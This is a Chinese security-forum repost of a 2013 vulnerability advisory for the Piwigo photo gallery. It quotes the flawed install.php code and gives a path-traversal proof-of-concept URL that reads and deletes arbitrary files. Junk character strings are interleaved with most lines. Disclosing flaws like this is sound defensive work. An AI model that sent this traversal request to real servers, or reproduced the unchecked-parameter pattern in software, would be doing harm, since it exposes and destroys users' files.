中国网络渗透测试联盟

标题: Piwigo任意文件泄露和任意文件删除漏洞 [打印本页]

作者: admin    时间: 2013-3-14 20:15
标题: Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
+ v6 e8 o7 W( u. z) j. o6 S8 E1 I& ^# j0 i
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
1 _+ q5 t8 k/ O5 S6 h: Z6 p====================================================================3 i% s; Y  d! D, Z, q4 G$ {
/install.php:
2 _2 ~9 U8 Y+ `-------------
5 J8 T0 n* D  l* d/ I: ^113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))& R$ v' A; P2 O- h; S$ J
114: {
& \' L" K  y3 Y7 H115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];+ @" [% q& v' z/ u  k( Y8 Z
116:   header('Cache-Control: no-cache, must-revalidate');
* V7 j$ _7 e0 j0 G117:   header('Pragma: no-cache');
5 W0 A  E8 ~# Y5 d118:   header('Content-Disposition: attachment; filename="database.inc.php"');
9 o* F4 R: K% F: G) J) [& o119:   header('Content-Transfer-Encoding: binary');
0 ~# B! k9 C( S" K2 f; r120:   header('Content-Length: '.filesize($filename));% F/ p) Q8 J5 W& R
121:   echo file_get_contents($filename);7 T- P; Z! _7 |& q
122:   unlink($filename);& I7 f; j9 g/ d8 s7 X6 c% ^6 ~* K
123:   exit();. G& H* {  N* Q% c4 {" K& J
124: }0 N$ X7 ?; C  |6 J% j% Y& b7 w/ _( o
====================================================================
: J. x/ g* U  p" l. u  M ) {, q, ?2 D5 e
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
" [- y0 V- H3 n8 I2 s/ }  S           Apache 2.4.2 (Win32)
! f: t  R& o* A3 o6 t           PHP 5.4.4+ d$ }  C; ~% Q1 G
           MySQL 5.5.25a* R8 I& ?5 F* i& h/ z, M
" E. e9 b; `- @" R8 y& C
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
& j. V: k* _1 E8 }/ y                            @zeroscience
0 m9 G- b; d3 x ' N( n8 c) x' v% P+ K0 h/ e
Advisory ID: ZSL-2013-5127$ f* ?! {' q. n; O) Z* K3 J( x
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
; y. ^$ V/ p  L* yVendor Patch: http://piwigo.org/bugs/view.php?id=2843
  m5 S! X* V  S, Y& W
: l3 U5 M9 q6 E1 p15.02.2013
( ^  t1 e) J: U+ X4 _
) b2 J" a' J) Z7 u6 }--4 J4 I+ k" ]- S4 J
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
5 V6 R  I; l/ m2 k1 ~( W1 T) j0 |
1 x7 q0 K9 T% d/ Q; s2 n  @: n




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2